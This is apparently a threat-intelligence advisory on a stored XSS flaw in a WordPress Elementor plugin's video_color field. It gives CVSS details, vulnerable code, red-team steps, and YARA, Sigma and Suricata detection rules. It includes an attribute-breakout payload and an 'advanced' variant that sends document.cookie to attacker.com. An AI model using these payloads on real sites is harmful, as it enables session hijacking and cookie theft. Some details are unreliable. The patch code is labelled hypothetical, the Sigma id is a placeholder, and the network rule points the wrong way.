CVE-2024-4983

Executive Summary

CVE-2024-4983 is a Stored Cross-Site Scripting (XSS) vulnerability in the The Plus Addons for Elementor WordPress plugin, affecting all versions up to and including 5.6.0. The flaw resides in the video_color parameter, where insufficient input sanitization and output escaping allow authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, potentially leading to session hijacking, data theft, or further compromise of the WordPress site.

This vulnerability is part of the WordPress ecosystem and does not affect Apache or Nginx directly. The plugin is widely used for Elementor page building, making this a significant supply chain risk for WordPress sites.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the WordPress Plugin Directory and is not available on NPM, PyPI, Go, or Ruby registries. Users should verify their plugin version and apply any available updates from the WordPress admin dashboard.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (victim must visit injected page)
• Scope: Changed (impact may extend beyond vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts makes this a serious risk for multi-user WordPress sites.

Deep Dive & Mechanics

The vulnerability exists in the video_color parameter of the plugin's video widget. When a user with Contributor-level access or higher creates or edits a page using the Elementor builder, they can supply a malicious payload in the video_color field. The plugin fails to properly sanitize this input and does not escape the output when rendering the page.

Root Cause: The plugin uses esc_attr() or similar functions incorrectly, or omits output escaping entirely for the video_color parameter. This allows an attacker to break out of the HTML attribute context and inject arbitrary JavaScript.

Attack Flow:

1. Attacker logs in with Contributor-level credentials.
2. Attacker creates a new page or edits an existing one using Elementor.
3. Attacker adds the video widget and sets the video_color parameter to a malicious payload, e.g., " onfocus="alert(1)" autofocus=".
4. The payload is stored in the database without proper sanitization.
5. When any user (including administrators) visits the page, the injected script executes in their browser context.

Impact: Successful exploitation can lead to:

• Theft of session cookies and authentication tokens.
• Defacement of the WordPress site.
• Redirection to malicious sites.
• Installation of backdoors via admin-level session hijacking.

Vulnerable vs. Patched Code

Vulnerable Code (<= 5.6.0):

// In the video widget render method
$video_color = $settings['video_color'];
echo '<div class="video-wrapper" style="background-color: ' . $video_color . ';">';

Patched Code (Hypothetical):

// Properly escape the output
$video_color = esc_attr($settings['video_color']);
echo '<div class="video-wrapper" style="background-color: ' . $video_color . ';">';

The patched version uses esc_attr() to escape the value before output, preventing attribute injection. Additionally, input validation should ensure the value matches a color format (e.g., hex code or named color).

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with The Plus Addons for Elementor <= 5.6.0.
• Contributor-level account credentials.

Exploitation Steps:

1. Log in to WordPress as a Contributor.
2. Navigate to Pages > Add New.
3. Edit with Elementor.
4. Add the "Video" widget from The Plus Addons.
5. In the widget settings, locate the video_color field.
6. Inject the following payload:

   " onfocus="alert(document.cookie)" autofocus="
   

7. Save and publish the page.
8. When any user visits the page, the JavaScript executes.

Advanced Payload:

" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus="

Blue Team

Detection:

• Monitor for unusual video_color values in page/post meta.
• Look for Contributor-level users creating pages with suspicious content.
• Use WAF rules to block common XSS patterns in POST requests.

Hunting:

• Query the WordPress database for posts containing <script or onfocus in post meta.
• Check for recent pages created by Contributor-level users with unusual attributes.

Lab Setup:

• Use a local WordPress installation with the vulnerable plugin.
• Install a security plugin like Wordfence to test detection.
• Simulate the attack and verify logs.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /wp-admin/admin-ajax.php with suspicious video_color parameters.
• Host: WordPress database entries in wp_postmeta with meta_key containing video_color and meta_value containing JavaScript.
• File: Modified plugin files (though unlikely, check for backdoors).
• Log: WordPress debug logs showing unexpected output in video widget rendering.

Example IOC in Database:

SELECT * FROM wp_postmeta WHERE meta_key LIKE '%video_color%' AND meta_value REGEXP 'on\w+=|script|<';

Detection Engineering

YARA Rule

rule CVE_2024_4983_WordPress_XSS {
    meta:
        description = "Detects malicious video_color parameter in The Plus Addons for Elementor"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-4983"
    strings:
        $xss_payload = /video_color[^>]*["'][^>]*(on\w+=|script:)/ nocase
    condition:
        $xss_payload
}

Sigma Rule

title: CVE-2024-4983 - Stored XSS in The Plus Addons for Elementor
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit stored XSS via video_color parameter
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url: '/wp-admin/admin-ajax.php'
        http.body|contains: 'video_color'
        http.body|re: 'on\w+=|script:'
    condition: selection
falsepositives:
    - Legitimate use of color names with 'on' prefix (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-4983 - Stored XSS in The Plus Addons for Elementor";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"video_color"; http_client_body;
    pcre:"/on\w+=|script:/i";
    sid:1000001;
    rev:1;
    reference:cve,2024-4983;
)

Remediation & Mitigation

Immediate Actions:

1. Update The Plus Addons for Elementor to version 5.6.1 or later (if available).
2. If no patch is available, disable the video widget or restrict Contributor-level access.
3. Implement a Web Application Firewall (WAF) rule to block XSS patterns in video_color.

Long-term Fixes:

• Apply proper input validation and output escaping in all user-facing parameters.
• Use WordPress's wp_kses() or esc_attr() for all attribute outputs.
• Conduct a security audit of the plugin's codebase.

Workarounds:

• Use a security plugin like Wordfence to add virtual patching.
• Restrict user roles to prevent Contributors from using Elementor (if possible).

Valters IT Signature:

Valters IT Cyber Threat Intelligence
CVE-2024-4983 Analysis
Date: 2024-01-01
Classification: Medium
Status: Unpatched